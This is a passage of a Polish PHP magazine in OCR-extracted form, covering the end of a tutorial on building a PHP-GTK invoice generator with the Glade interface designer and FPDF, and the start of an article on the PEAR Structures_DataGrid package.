(GtkFileSelection, GtkCTree, GtkCList
itd.).
Drzewo widgetów
Dostępna z menu Widok opcja Drzewo
widgetów wyświetla drzewo obrazujące
hierarchię wszystkich komponentów
aktualnego interfejsu. Każdy widget jest
widoczny jako osobny węzeł drzewa (Ry-
sunek 3), a hierarchia węzłów obrazuje re-
lacje zawierania między widgetami, czyli to,
który widget jest rodzicem (parent), a który
należącym do niego dzieckiem (child).
Funkcja ta jest szczególnie użyteczna,
gdy pracujemy z widgetami niewidocznymi
(np. GtkHBox czy GtkVBox), gdyż umożliwia
łatwe zaznaczanie każdego komponentu
– wystarczy kliknąć jego węzeł prawym
przyciskiem myszy i wybrać Zaznacz. Wła-
ściwości aktualnie zaznaczonego widgetu
są wyświetlane w oknie Właściwości.
Okno projektu
Wszystkie widgety są umieszczane
w głównym oknie projektu. Po lewej
stronie na Rysunku 4 widać okno
(komponent GtkWindow) zawierające
widget GtkFixed, pozwalający określać
bezwzględne pozycje widgetów (przyci-
sków, etykiet, pól wyboru, itd.) w obrębie
okna. Drugie okno, które przedstawiamy
na tym samym rysunku demonstruje in-
ny układ: w oknie umieściliśmy najpierw
skrzynkę pionową (komponent GtkVBox),
a w jej drugim wierszu wstawiliśmy
skrzynkę poziomą (GtkHBox). W tej ostat-
niej umieścimy etykietę (GtkLabel) w dru-
giej kolumnie i pole tekstowe (GtkEntry)
w czwartej.
Okno właściwości
W oknie Właściwości (Rysunek 5) można
modyfi kować ustawienia aktualnie zazna-
czonego komponentu. Zestaw dostępnych
właściwości zależy od typu widgetu – wy-
branie dowolnego komponentu spowoduje
wyświetlenie odpowiednich dla niego
atrybutów.
Okno Właściwości zawiera kilka
zakładek. Pierwszą z nich jest zakładka
Widget, pozwalająca określać podstawo-
we właściwości wybranego komponentu.
Najważniejszą z naszego punktu widzenia
właściwością jest nazwa widgetu, gdyż za
jej pomocą będziemy się do niego odwoły-
wać w aplikacji.
Każdy typ komponentu ma swoje wła-
sne atrybuty – przykładowo, dla widgetu
GtkLabel możemy określać tekst i wyrów-
nanie, dla GtkButton – ikonę i etykietę, dla
GtkEntry maksymalną długość wprowa-
dzanego tekstu, itd.
Zawartość zakładki Upakowywanie
zależy od stosowanego dla danego kom-
ponentu trybu pakowania – na Rysunku
6 przedstawiamy ustawienia dla dwóch
trybów. Jeśli widget jest umieszczony
w kontenerze GtkFixed (określającym
pozycjonowanie bezwzględne), do dys-
pozycji mamy jedynie jego współrzędne
w ramach okna. W przypadku pozycjono-
wania komponentu w kontenerze GtkVBox
lub GtkHBox możemy też zmieniać inne
właściwości, na przykład Rozszerzanie
(czy kontener ma się dostosowywać do
rozmiaru widgeta) i Wypełnianie (czy
widget ma wypełniać całą dostępną prze-
strzeń w kontenerze).
Na Rysunku 6 pokazujemy też trzecią
zakładkę właściwości o nazwie Typowe.
Zawiera ona wspólne dla wielu widgetów
InstalacjaProgram Glade stanowi standardowy element środowiska GNOME, więc powinien być
obecny we wszystkich dystrybucjach Linuksa to środowisko zawierających. Jeśli korzy-
stasz z Linuksa, a nie możesz znaleźć Glade’a, poszukaj odpowiedniego pakietu dla
używanej dystrybucji. W razie problemów ze znalezieniem takowego lub w celu uzyskania
najnowszej wersji, można też pobrać kod źródłowy ze strony głównej projektu Glade (http://
glade.gnome.org) i skompilować go poleceniami:
./confi gure
make
make install
W skład pakietu instalacyjnego Glade'a wchodzi plik INSTALL, zawierający informacje
o niestandardowych konfi guracjach programu.
Instalacja w systemach Windows jest bardzo prosta – wystarczy pobrać plik instalato-
ra ze strony http://gladewin32.sourceforge.net i uruchomić go.
WymaganiaGlade wymaga obecności środowiska GTK-2. Korzystanie z interfejsów GTK z poziomu
PHP wymaga dodatkowo rozszerzenia PHP-GTK, dostępnego na stronie http://gtk.php.net
i jest możliwe wyłącznie w przypadku PHP5.
Rysunek 1. Główne okno programu
Glade
Rysunek 2. Paleta widgetów
Glade
www.phpsolmag.org66
Projekty
PHP Solutions Nr 2/2006
atrybuty, takie jak szerokość, wysokość,
widoczność, itp.
Czwarta zakładka właściwości (Sygna-
ły) pozwala kojarzyć sygnały zgłaszane
przez widget (w przypadku przycisku, czyli
widgetu GtkButton, będą to m.in. clicked,
pressed i released) z konkretnymi funk-
cjami obsługi. Funkcję obsługi sygnału
określamy podając jej nazwę i jest to
funkcja lub metoda aplikacji, która ma być
wywołana w reakcji na zgłoszenie danego
sygnału przez bieżący widget. Nie ma po-
trzeby łączenia sygnałów z funkcjami na
etapie pracy z Gladem, gdyż najczęściej
odbywa się to dopiero podczas tworzenia
samej aplikacji.
Plik XMLz defi nicją interfejsuZapisanie projektu Glade powoduje
wygenerowanie pliku XML opisującego
strukturę interfejsu (Listing 1). Plik ten
zawiera nazwy widgetów oraz ich wła-
ściwości, a więc wymiary, etykiety, ikony,
tryby pakowania, przypisania sygnałów
do funkcji obsługi i inne. Właściwości każ-
dego widgetu reprezentuje zestaw znacz-
ników XML, których hierarchia odpowiada
hierarchii widgetów.
Gotowy projekt Glade można już
wykorzystać w aplikacji. Z poziomu PHP
odbywa się to za pośrednictwem klasy
GladeXML, która przetwarza XML-owy opis
interfejsu i udostępnia naszej aplikacji
zdefi niowane przez niego widgety. Po-
bieranie konkretnych widgetów umożliwia
metoda get_widget(). Jej użycie wymaga
jedynie znajomości nazwy komponentu,
który chcemy pobrać z pliku projektu
Glade.
Pierwszy przykładNa początek stworzymy okno (widget
GtkWindow) zawierające skrzynkę pionową
(widget GtkVBox). W pierwszej komórce
skrzynki umieścimy etykietę zawierającą
pogrubiony tekst Podaj imię, w drugiej
Listing 1. Przykładowy plik XML dla projektu Glade
<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
<!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
<glade-interface>
<widget class="GtkWindow" id="window1">
<property name="visible">True</property>
<property name="title" translatable="yes">okno1</property>
<property name="type">GTK_WINDOW_TOPLEVEL</property>
<property name="window_position">GTK_WIN_POS_NONE</property>
<property name="modal">False</property>
<property name="resizable">True</property>
<property name="destroy_with_parent">False</property>
<property name="decorated">True</property>
<property name="skip_taskbar_hint">False</property>
<property name="skip_pager_hint">False</property>
<property name="type_hint">GDK_WINDOW_TYPE_HINT_NORMAL</property>
<property name="gravity">GDK_GRAVITY_NORTH_WEST</property>
<property name="focus_on_map">True</property>
<child>
<widget class="GtkVBox" id="vbox1">
<property name="visible">True</property>
<property name="homogeneous">False</property>
<property name="spacing">0</property>
<child><placeholder/></child><child>
<widget class="GtkHBox" id="hbox2">
<property name="visible">True</property>
<property name="homogeneous">False</property>
<property name="spacing">0</property>
<child>
<widget class="GtkLabel" id="label1">
<property name="visible">True</property>
<property name="label" translatable="yes"> Kod: </property>
<property name="use_underline">False</property>
<property name="use_markup">False</property>
<property name="justify">GTK_JUSTIFY_LEFT</property>
<property name="wrap">False</property>
<property name="selectable">False</property>
<property name="xalign">0.5</property>
<property name="yalign">0.5</property>
<property name="xpad">0</property>
<property name="ypad">0</property>
<property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
<property name="width_chars">-1</property>
<property name="single_line_mode">False</property>
<property name="angle">0</property>
</widget>
<packing>
<property name="padding">0</property>
<property name="expand">False</property>
<property name="fi ll">False</property>
</packing>
</child>
</widget>
<packing>
<property name="padding">0</property>
<property name="expand">True</property>
<property name="fi ll">True</property>
</packin g>
</child><child><placeholder/></child>
</widget>
</child>
</widget>
</glade-interface>
Rysunek 3. Drzewo widgetów
Glade
www.phpsolmag.org 67
Projekty
PHP Solutions Nr 2/2006
znajdzie się pole tekstowe o nazwie name,
w trzeciej wstawimy przycisk Wypisz,
a czwarta komórka będzie zawierała ety-
kietę o nazwie result. Rezultat przedsta-
wiamy na Rysunkach 7 i 8.
Program działa następująco: użytkow-
nik wpisuje dowolny tekst w polu name,
a kliknięcie przycisku Wypisz powoduje
ustawienie tekstu etykiety result na
Hello <imię>, gdzie <imię> jest tekstem
wprowadzonym w polu name (patrz Rysu-
nek 9).
Jest to bardzo prosty przykład, ale
wystarczy nam do zilustrowania pod-
stawowych możliwości wykorzystania
programu Glade i połączenia wygene-
rowanego za jego pomocą interfejsu
z aplikacją. Pora skorzystać ze zdefi nio-
wanego interfejsu – na Listingu 2 przed-
stawiamy odpowiedni kod. Zaczynamy
od utworzenia obiektu klasy GladeXML
i przypisania go zmiennej $glade, po
czym wywołując metodę get_widget()
tego obiektu pobieramy kolejno trzy
potrzebne nam widgety: name, print
i result i tworzymy trzy odpowiadające
im obiekty: $name, $print i $result. Na
tak utworzonych obiektach możemy już
wykonywać dowolne operacje odpo-
wiednie dla reprezentowanych przez nie
widgetów – zmieniać właściwości, przy-
pisywać funkcje obsługi do sygnałów,
ukrywać komponenty, itd.
AplikacjaNajwyższy czas na aplikację z prawdzi-
wego zdarzenia: generator faktur. Do
zaprojektowania interfejsu użytkownika
wykorzystamy program Glade, po czym
postępując podobnie, jak w poprzednim
przykładzie, napiszemy kod aplikacji od-
wołujący się do tak utworzonego interfej-
su. Ponieważ faktury będą generowane
w formacie PDF, będziemy dodatkowo
korzystali z FPDF – napisanej w czy-
Rysunek 5. Okno właściwości dla widgetów GtkEntry, GtkLabel
i GtkButton
Rysunek 6. Okno właściwości: zakładki Upakowywanie, Typowe i Sygnały
Rysunek 4. Okno projektu
Rysunek 7. Pierwszy przykład
Glade
www.phpsolmag.org68
Projekty
PHP Solutions Nr 2/2006
stym PHP opensourcowej biblioteki do
generowania plików PDF, pozwalającej
tworzyć dokumenty zawierające tekst,
grafi kę i inne elementy.
Główne okno programu
Zaczniemy od zaprojektowania główne-
go okna interfejsu aplikacji, czyli pierw-
szego komponentu na palecie (Rysunek
10). Po kliknięciu przycisku Okno pojawi
się pierwsze okno programu, w którym
będziemy układali kolejne widgety. Bez-
pośrednio w komponencie GtkWindow
można umieścić tylko jeden komponent,
więc powinien to być jeden z dostępnych
kontenerów, czyli widgetów dziedziczą-
cych z klasy bazowej GtkContainer.
Możemy tu korzystać między innymi ze
skrzynek pionowych (GtkVBox) i pozio-
mych (GtkHBox), ramek (GtkFrame) czy
układu bezwzględnego (GtkFixed). W tej
aplikacji skorzystamy w tego ostatniego
kontenera, co pozwoli nam określać
bezwzględną pozycję widgetów umiesz-
czanych w obrębie okna.
Dodawanie grafi ki
Pora zacząć umieszczać widoczne
elementy interfejsu w oknie aplikacji.
Na początek wstawimy logo, do czego
posłuży przycisk palety przedstawiają-
cy obrazek i odpowiadający widgetowi
GtkImage. Obsługiwany jest import ob-
razów w wielu popularnych formatach
(PNG, JPG, XPM i inne). GtkImage
pozwala również korzystać z przezro-
czystości (ang. transparency) obrazu.
Z palety wybieramy więc Obraz i klika-
my w obrębie utworzonego wcześniej
obszaru GtkFixed w miejscu, w którym
ma się znaleźć grafi ka, po czym usta-
wiamy właściwość icon wstawionego
obrazu na ścieżkę pożądanego pliku
grafi cznego (Rysunek 11). Jeśli jest to
konieczne, możemy zmienić pozycję
obrazu na ekranie przesuwając go my-
szą lub odpowiednio modyfi kując wła-
ściwości w zakładce Upakowywanie.
Dodawanie etykiety
W następnej kolejności dodamy etykie-
ty, czyli widgety typu GtkLabel. Jedną
z istotniejszych nowości w GTK-2 było
wprowadzenie obsługi frameworka Pan-
go, pozwalającego za pomocą języka
znaczników defi niować krój, wielkość,
kolor i styl czcionki i tym samym otwie-
rającego ogromne możliwości prezenta-
cji tekstu.
Listing 2. Korzystanie z pliku Glade w aplikacji PHP
<?php
$glade = new GladeXML('exemplo1.glade'); // utworzenie obiektu Glade
$name = $glade->get_widget('name'); // pobranie pola tekstowego name
$print = $glade->get_widget('print'); // pobranie przycisku wypisania
$result = $glade->get_widget('result'); // pobranie etykiety result
$print->connect_simple('clicked', 'onPrint'); // podłączenie przycisku wypisania
function onPrint(){
global $name, $result;
$text = $name->get_text(); // pobranie wpisanego tekstu
$result->set_text("Hello {$text}"); // ustawienie etykiety result
}
Gtk::Main();
?>
Listing 3. Generator faktur w PHP (plik Invoice.php)
<?
// Klasa Invoice - obsługuje GUI i inicjuje generowanie faktury
fi nal class Invoice extends GladeXML{
private $invoice; // obiekt faktury
private $taxes = 0.05; // podatek 5%
private $shipping_fee = 0.4; // wysyłka $0,4 na każdą pozycję
private $amount = 0; // liczba pozycji
// Wczytanie elementów interfejsu i podłączenie sygnałów
public function __construct(){
parent::__construct('interface.glade'); // Wywołanie konstruktora GladeXML
setlocale(LC_ALL, 'POSIX'); // Ustawienie metody obliczeń
// Podłączenie przycisków
$this->saveButton->connect_simple('clicked',array($this,'saveInvoice'));
...
// Ustawienie dzisiejszej daty faktury
$this->invoiceDate->set_text(date("Y-m-d"));
// Utworzenie struktury do składowania danych
$this->model = new GtkListStore(Gtk::TYPE_STRING, Gtk::TYPE_STRING,
Gtk::TYPE_STRING, Gtk::TYPE_STRING);
$this->itemsList->set_model($this->model);
// Utworzenie kolumn
$column1 = new GtkTreeViewColumn();
...
// Utworzenie obiektu wyświetlania komórki
$cell_renderer1 = new GtkCellRendererText();
...
// Jeden obiekt wyświetlania na kolumnę
$column1->pack_start($cell_renderer1, true);
...
// Ustawienie indeksów
$column1->set_attributes($cell_renderer1, 'text', 0);
...
$this->itemsList->append_column($column1);
...
// Ustawienie nagłówków kolumn
$column1->set_title('Kod');
...
}
// Zwraca obiekt Glade, jeśli żądana właściwość nie istnieje
public function __get($property){
// Pobranie obiektu Glade
return parent::get_widget($property);
}
// Dodaje pozycję do listy
public function addItem(){
$product = array(); // utworzenie tablicy produktów
$product[]=$this->productCode->get_text(); //Pobranie danych z formularza
...
$this->model->append($product); // Dodanie produktu do listy
$this->amount+=$this->productQuantity->get_text(); //Zwiększenie liczby pozycji
Glade
www.phpsolmag.org 69
Projekty
PHP Solutions Nr 2/2006
Umieszczenie komponentu GtkLabel
w obszarze GtkFixed sprowadza się do
kliknięcia przycisku GtkLabel na palecie,
a następnie kliknięcia w oknie projektu
tam, gdzie ma się znaleźć etykieta. Na-
Listing 4. Generator faktur w PHP (plik Invoice.php), c.d.
// Obliczenie sumy pośredniej
$this->subTotal->set_text($this->subTotal->get_text()+
$this->productPrice->get_text());
// Obliczenie kosztu wysyłki
$this->Shipping->set_text($this->amount*$this->shipping_fee);
// Obliczenie kwoty podatku
$this->Taxes->set_text($this->subTotal->get_text()*$this->taxes);
// Podliczenie łącznej sumy
$this->Total->set_text($this->subTotal->get_text() +
$this->Shipping->get_text()+$this->Taxes->get_text());
// Opróżnienie pól tekstowych
$this->productCode->set_text('');
...
// Przeniesienie kursora do pola kodu produktu
$this->window->set_focus($this->productCode);
}
// Metoda clearItems() – opróżnia listę produktów
public function clearItems(){
$this->model->clear(); // usunięcie elementów listy
$this->amount = 0;
$this->subTotal->set_text(0); // wyzerowanie sumy pośredniej
...
// zwiększenie numeru faktury
$this->invoiceNumber->set_text($this->invoiceNumber->get_text() + 1);
}
// Generuje fakturę
public function saveInvoice(){
include_once('InvoicePdf.class.php'); // dołączenie klasy faktury
$this->invoice = new InvoicePdf();
// Ustawienie numeru i daty faktury
$this->invoice->setNumber($this->invoiceNumber->get_text());
$this->invoice->setDate($this->invoiceDate->get_text());
// Utworzenie obiektu klienta
$customer->name = $this->customerName->get_text();
...
// Ustawienie danych klienta na fakturze
$this->invoice->setCustomer($customer);
// Przejście w pętli po wszystkich produktach
$iter = $this->model->get_iter_fi rst();
while ($iter){
$code = $this->model->get_value($iter, 0);
...
// Dodanie danych produktu do obiektu faktury
Rysunek 8. Pierwszy przykład c.d.
Rysunek 9. Ostateczny wygląd pierw-
szego przykładu
stępnie przechodzimy do edycji właściwo-
ści Label, gdzie wykorzystamy możliwości
znaczników formatujących (wymaga to
dodatkowo włączenia właściwości Użycie
języka znaczników).
Składnia znaczników formatujących
jest bardzo podobna do analogicz-
nych tagów języka HTML – atrybuty
czcionki ustawimy przy użyciu <span
font_desc="Times Bold Italic 10">,
do określenia koloru (na przykład)
czerwonego posłuży znacznik <span
foreground=red>, a tagi <b>, <i> i <u>
określają odpowiednio pogrubienie, kur-
sywę i podkreślenie. Zarówno API
Pango, jak i obsługiwane znaczniki są
szczegółowo opisane na stronie http://
developer.gnome.org/doc/API/2.0/pango/
PangoMarkupFormat.html.
Analogicznie dodajemy etykiety Klient,
Nazwa, Adres, Faktura, Data, Produkt,
Kod, Opis, Ilość, Cena, Suma pośrednia,
Podatki, Koszt wysyłki i Suma.
Dodawanie pola tekstowego
Teraz dodamy odpowiadające poszcze-
gólnym etykietom pola tekstowe (widgety
GtkEntry), poczynając od pola nazwy
klienta, czyli customerName. Pozycję każ-
dego pola dopasowujemy korzystając
z właściwości w zakładce Upakowywanie
oraz właściwości wysokości i szerokości
w zakładce Typowe. Cały proces powta-
Glade
www.phpsolmag.org70
Projekty
PHP Solutions Nr 2/2006
rzamy dla pozostałych pól tekstowych,
o nazwach:
customerAddress, customerPhone,
productCode, productDescription,
productQuantity, productPrice,
subTotal, Taxes, Shipping, Total,
invoiceNumber i invoiceDate.
Dodawanie przycisku
Pora ożywić interfejs dodając do niego kil-
ka przycisków. Pierwszy przycisk otrzyma
nazwę addButton i przypiszemy mu jedną
ze standardowych ikon (+Add). Naciśnię-
cie tego przycisku będzie powodować
wczytanie wprowadzonych w polach tek-
stowych danych produktu (kodu, opisu,
ilości i ceny) i dodanie ich do listy produk-
tów, którą utworzymy w kolejnym etapie.
Ostateczny interfejs aplikacji będzie też
zawierał kilka innych przycisków, które
tworzymy w analogiczny sposób. Nazwy
wszystkich widgetów interfejsu są widocz-
ne na Rysunku 13.
Dodawanie widoku listy
Jako ostatni element interfejsu dodamy
widget typu GtkTreeView, pozwalający
wyświetlać listy i drzewa. Jedną z jego
najważniejszych cech jest całkowite od-
dzielenie danych od ich prezentacji,
dzięki czemu cały model danych dla
komponentu GtkTreeView (Rysunek 12)
można stworzyć dopiero w kodzie aplika-
cji, wykorzystując struktury i typy danych
odpowiednie dla używanego języka (w
naszym przypadku PHP). Dla potrzeb tej
aplikacji wykorzystamy GtkTreeView jako
listę, której kolumny dodamy już w kodzie
programu.
Ostateczny interfejs aplikacji
GUI generatora faktur jest już gotowe
– przedstawia je Rysunek 13 (w trybie
edycji) i Rysunek 14 (w ostatecznej
aplikacji). W nagłówku widnieje logo
Gnome Foundation, tytuł programu oraz
adres sformatowany z wykorzystaniem
znaczników Pango, jak również Numer
faktury i Data. W sekcji Klient znajdu-
ją się etykiety i pola tekstowe Nazwa
klienta, Adres i Telefon. W sekcji Pro-
dukt widoczne są podobne etykiety i po-
la tekstowe: Kod produktu, Opis, Ilość
i Cena. Jest tam również przycisk Do-
daj, którego naciśnięcie powoduje wczy-
tanie danych produktu z pól tekstowych
i dodanie ich do listy. W prawym dolnym
Rysunek 11. Właściwości świeżo doda-
nego obrazka
Rysunek 12. Widget GtkTreeView w
trybie listy
Rysunek 10. Paleta widgetów
Listing 5. Generator faktur w PHP (plik Invoice.php), c.d.
$this->invoice->addItem($code, $description, $quantity, $price);
$iter = $this->model->iter_next($iter);
}
// Ustawienie danych stopki
$this->invoice->setFooter($this->subTotal->get_text(),
...
$this->Total->get_text());
// Pobranie nazwy pliku od użytkownika
$dialog = new GtkFileChooserDialog('Zapisz...', NULL,
Gtk::FILE_CHOOSER_ACTION_SAVE,array(Gtk::STOCK_OK,Gtk::RESPONSE_OK,
Gtk::STOCK_CANCEL, Gtk::RESPONSE_CANCEL));
$response = $dialog->run();
if ($response == Gtk::RESPONSE_OK){
// Wygenerowanie dokumentu faktury do pliku o podanej nazwie
$this->invoice->Generate($dialog->get_fi lename());
}
$dialog->destroy();
$this->clearItems();
}
}
$application = new Invoice; // Utworzenie instancji interfejsu
Gtk::Main();
?>
Listing 6. Klasa generująca dokument PDF (plik InvoicePdf.class.php)
<?
// Klasa InvoicePdf: generuje dokument faktury korzystając z biblioteki FPDF
class InvoicePdf{
private $pdf; // obiekt klasy FPDF
private $number; // numer faktury
private $customer; // obiekt klienta
private $items; // tablica produktów
public function __construct(){
// Ustawienie katalogu czcionek FPDF
defi ne('FPDF_FONTPATH', getcwd() . '/fpdf/font/');
include_once 'fpdf/fpdf.php'; // dołączenie biblioteki FPDF
// Utworzenie nowego dokumentu PDF
$this->pdf = new FPDF('P', 'pt', array(596,540));
$this->pdf->SetMargins(2,2,2); // ustawienie marginesów
}
...
}
Glade
www.phpsolmag.org 71
Projekty
PHP Solutions Nr 2/2006
rogu wyświetlane są automatycznie
wypełniane pola Suma pośrednia, Po-
datek, Koszty wysyłki i Suma. Dla po-
trzeb przykładowej aplikacji przyjmiemy
podatek 5% i koszt wysyłki $0,40 dla
każdej pozycji. Na rysunku nazwa każ-
dego widgetu jest wyróżniona kolorem
czerwonym i ujęta w nawiasy kątowe
<> (oczywiście, w aplikacji nazwy te nie
będą widoczne).
Główny kod programu
Na Listingach 3, 4 i 5 przedstawiamy kod
głównego pliku aplikacji (plik invoice.php).
Całość zaczyna się defi nicją klasy
invoice, rozszerzającej klasę GladeXML.
Przyjrzyjmy się bliżej konstruktorowi tej
klasy. Jego działanie rozpoczyna się wy-
wołaniem konstruktora klasy nadrzędnej
(czyli GladeXML) z argumentem w postaci
nazwy pliku zawierającego utworzony
wcześniej interfejs aplikacji (interface.gla-
de). Kolejny wiersz ustawia tryb POSIX
dla obliczeń.
Następną ważną czynnością jest po-
łączenie sygnałów przycisków interfejsu
z odpowiednimi funkcjami obsługi. Wyko-
rzystamy do tego celu metodę connect_
simple() przycisków $this->saveButton,
$this->clearButton i $this->addButton,
służących odpowiednio do zapisywania
danych, opróżniania pól tekstowych
i dodawania nowego produktu do listy.
Tworzenie modelu danych samej listy jest
obsługiwane osobno.
Oczywiście, pobieranie obiektu inter-
fejsu z pliku za każdym razem, gdy jest
on potrzebny, byłoby nieco kłopotliwe.
Aby ułatwić sobie życie, skorzystamy
z jednej z nowych możliwości PHP5:
magicznej metody __get(), przechwy-
tującej wszystkie próby pobrania właści-
wości obiektu. Za jej pomocą będziemy
sprawdzać, czy nie zażądano atrybutów
nieistniejącego obiektu, a jeśli tak się
stanie – utworzymy odpowiedni obiekt
wywołując metodę get_widget() klasy
GladeXML. W praktyce oznacza to, że
dostęp np. do widgetu customerName
możemy zawsze uzyskać przez $this-
>customerName, a do przycisku Zapisz
– przez $this->saveButton.
Musimy jeszcze podłączyć przyciski
do odpowiednich sygnałów i funkcji obsłu-
gi. Gdy użytkownik wprowadzi dane kolej-
nej pozycji faktury i kliknie przycisk Dodaj,
zostanie wykonana metoda addItem(),
która doda informacje o danym produkcie
do listy. Kliknięcie przycisku Zapisz spo-
woduje wywołanie metody saveInvoice().
Wyświetla ona okno dialogowe klasy
GtkFileChooserDialog, w którym użytkow-
nik podaje nazwę tworzonego pliku, a na-
stępnie inicjuje obiekt klasy InvoicePdf,
co powoduje wygenerowanie pliku PDF
z fakturą. Po wygenerowaniu pliku numer
faktury jest zwiększany o jeden, a lista po-
zycji jest opróżniana.
Generowanie pliku PDF
Klasa InvoicePdf odpowiada za tworzenie
pliku PDF (Listing 6). Inicjuje ona obiekt
klasy FPDF i udostępnia kilka metod:
setCustomer() ustawiającą dane klienta
(nazwę, adres i telefon), setFooter()
ustawiającą informacje podawane w stop-
ce faktury (sumę pośrednią, koszt wy-
syłki, podatek i łączną sumę), addItem()
dodającą produkt do listy oraz metodę
Generate(), która pobiera wszystkie nie-
zbędne informacje i tworzy odpowiedni do-
kument PDF korzystając z biblioteki FPDF.
Gotowa faktura jest otwierana w wybranej
przeglądarce plików PDF.
Gotowa faktura
Na Rysunku 15 przedstawiamy owoc
naszej pracy, czyli gotową fakturę. Jest
to dokument PDF, którego nagłówek (ob-
rysowany prostokątem) zawiera w lewym
górnym rogu logo, nazwę i adres fi rmy,
a w prawym górnym rogu – numer fak-
tury i datę. Niżej, w szarym polu podane
są dane klienta (Nazwa, Adres i Telefon),
a na środku strony znajduje się lista
produktów. Dla każdej pozycji na liście
podane są Kod, Opis, Ilość i Cena, przy
czym nazwy kolumn są umieszczone
na ciemnoszarym tle. W stopce faktury
podane są Suma pośrednia, Podatek,
Koszt wysyłki i Suma, a wszystkie kolory
są identyczne do zdefi niowanych w inter-
fejsie Glade.
PodsumowanieTak oto stworzyliśmy działający genera-
tor faktur i pokazaliśmy, jak szybko i ła-
two przebiega generowanie grafi cznych
interfejsów użytkownika z pomocą pro-
gramu Glade. Przy okazji rozprawiliśmy
się z obiegową opinią, że PHP nadaje
się tylko do pisania aplikacji działających
po stronie serwera. Połączenie PHP5,
rozszerzenia PHP-GTK i programu Gla-
de daje bardzo dobre wyniki i można
je polecić każdemu, kto chce tworzyć
wszechstronne aplikacje z interfejsem
grafi cznym, korzystając przy tym z uzna-
nych i sprawdzonych technologii. �
Rysunek 14. Ostateczny interfejs gene-
ratora w działającej aplikacjiRysunek 15. Wygenerowana faktura
Pablo Dall’Oglio jest autorem pierwszej
na świecie książki o PHP-GTK. Jest też
twórcą programów Agata Report (http://
www.agatareports.com) i Tulip Editor
(http://tulip.solis.coop.br), jak również ko-
ordynatorem projektu GNUTeca (http://
www.gnuteca.org.br) – systemu open
source do zarządzania bibliotekami.
Kontakt z autorem: [email protected]
O autorze
Rysunek 13. Ostateczny interfejs gene-
ratora w edytorze
www.phpsolmag.org72
PEAR
PHP Solutions Nr 2/2006
Osobom programującym pod
Windows dobrze znany jest
komponent DataGrid, pozwala-
jący łatwo wyświetlać dane tabelaryczne.
Również twórcy aplikacji internetowych
w środowisku .NET mają do dyspozycji
podobne narzędzie. Natomiast dla PHP
do niedawna nie istniała żadna uznana
implementacja datagridu. Programiści,
którzy potrzebowali z niego skorzystać
byli więc zmuszeni pisać własną wersję
datagridu lub zadowalać się niedoskona-
łą implementacją komercyjną.
Lukę tę doskonale wypełnia roz-
szerzenie PEAR Structures_DataGrid.
Oprócz opcji odczytywania danych z ba-
zy i wiązania ich z tabelą HTML oferuje
także dużą elastyczność dotyczącą po-
bierania i prezentacji danych. Oznacza
to, że w ramach Structures_DataGrid
można np. zaimportować dane z pliku
XML korzystając ze sterownika obsługu-
jącego to źródło danych, wybrać pola,
które mają być widoczne, a następnie
Tworzenie prostych i estetycznych
prezentacji danych tabelarycznych w PHP
powinno być równie łatwe, jak za pomocą
arkuszy kalkulacyjnych czy edytorów
HTML i sprowadzać się jedynie do wyboru
odpowiedniego narzędzia i ustawienia jego
parametrów. Temu celowi służy Structures_
DataGrid, pozwalając dodatkowo na swobodny
wybór źródła danych i formy prezentacji, a także
eksport wyników do takich formatów, jak XLS
(MS Excel) czy CSV.
wyświetlić wynik w postaci tabeli lub
przekonwertować go do formatu, dla któ-
rego istnieje sterownik prezentacji. W Ta-
beli 1 pokazujemy wybór udostępnianych
przez rozszerzenie Structures_DataGrid
możliwości wczytywania i prezentacji
danych.
Do dziełaZaczniemy od przykładów wykorzysta-
nia rozszerzenia Structures_DataGrid,
a następnie do rozwiązań, w których
Structures_DataGrid dla danych tabelarycznychAaron Wormus
W SIECI
1. pear.php.net/package/
Structures_DataGrid
– PEAR-owy pakiet Structu-
res_DataGrid
2. http://datagrid.webitecture.org
– informacje o DataGrid
Co powinieneś wiedzieć...Powinieneś znać podstawy PHP i ob-
sługi kanałów RSS. Przydatna będzie
również wiedza o grafi cznych interfej-
sach użytkownika (GUI) i występują-
cym w nich elemencie datagrid.
Co obiecujemy...Dowiesz się jak przy pomocy PEAR::
Structures_DataGrid tworzyć efektowne
prezentacje danych tabelarycznych po-
chodzących z różnych źródeł.
Stopień trudności: ���
DataGrid
www.phpsolmag.org 73
PEAR
PHP Solutions Nr 2/2006
będziemy używać sterowników i dostęp-
nych w pakiecie Structures_DataGrid
możliwości formatowania oraz roz-
szerzania funkcjonalności tej biblio-
teki.
Instalacja rozszerzenia Structures_DataGridStructures_DataGrid posiada kilka pakie-
tów zależnych, których instalacja nie jest
obowiązkowa. Dla naszego artykułu zain-
stalujemy Structures_DataGrid, wpisując
polecenie:
pear install --alldeps §
structures_datagrid-beta.
Rysunek 1. DataGrid w działaniu
– pierwszy przykład
Listing 1. Wyświetlanie datagridu zawierającego nazwiska i adresy e-mail pobrane
z tablicy
require_once('Structures/DataGrid.php');
$data = array(
array('First Name' => 'Aaron','Last Name' => 'Wormus','Email' => '[email protected]'),
array('First Name' => 'Clark','Last Name' => 'Kent','Email' => '[email protected]'),
array('First Name' => 'Peter','Last Name' => 'Parker','Email' => '[email protected]'),
array('First Name' => 'Bruce','Last Name' => 'Wayne','Email' => '[email protected]')
);
$dg =& new Structures_DataGrid('2');
$dg->bind($data);
$dg->render();
echo $dg->renderer->getPaging();
Listing 2. Wczytanie danych klientów za pomocą sterownika źródła danych CSV
i wyświetlenie ich domyślnym sterownikiem prezentacji (HTML_Table)
require_once('Structures/DataGrid.php');
require_once('Structures/DataGrid/DataSource.php');
$opt=array(
'delimiter' => ',','fi elds' => array(0, 1, 2),
'labels' => array("First Name","Last Name","Email"),
'generate_columns' => true);
$data = Structures_DataGrid_DataSource::create('data.csv',
$opt, DATAGRID_SOURCE_CSV);
$dg =& new Structures_DataGrid();
$dg->bindDataSource($data);
$dg->render();
Listing 3. Eksport danych do pliku MS Excel
// Utworzenie obiektu Structures_Datagrid korzystającego ze sterownika XLS
$dg =& new Structures_DataGrid(null, null, DATAGRID_RENDER_XLS);
// Ustawienie nazwy pliku wyjściowego
$dg->renderer->setFilename('datagrid.xls');
// Dowiązanie danych i wygenerowanie wyników
$dg->bindDataSource($data);
$dg->render();
Fir st Nam e L ast Nam e Em ail
Aaron
Clark
Wormus
Kent
1 2 »
Kod! Pokaż kod!Przyjrzyjmy się działaniu klasy Structures
_DataGrid w praktyce. Na Listingu 1
przedstawiamy przykład, w którym ko-
rzystamy ze źródła danych Array oraz
domyślnego sterownika prezentacji
HTML_Table. W czeterech liniach kodu
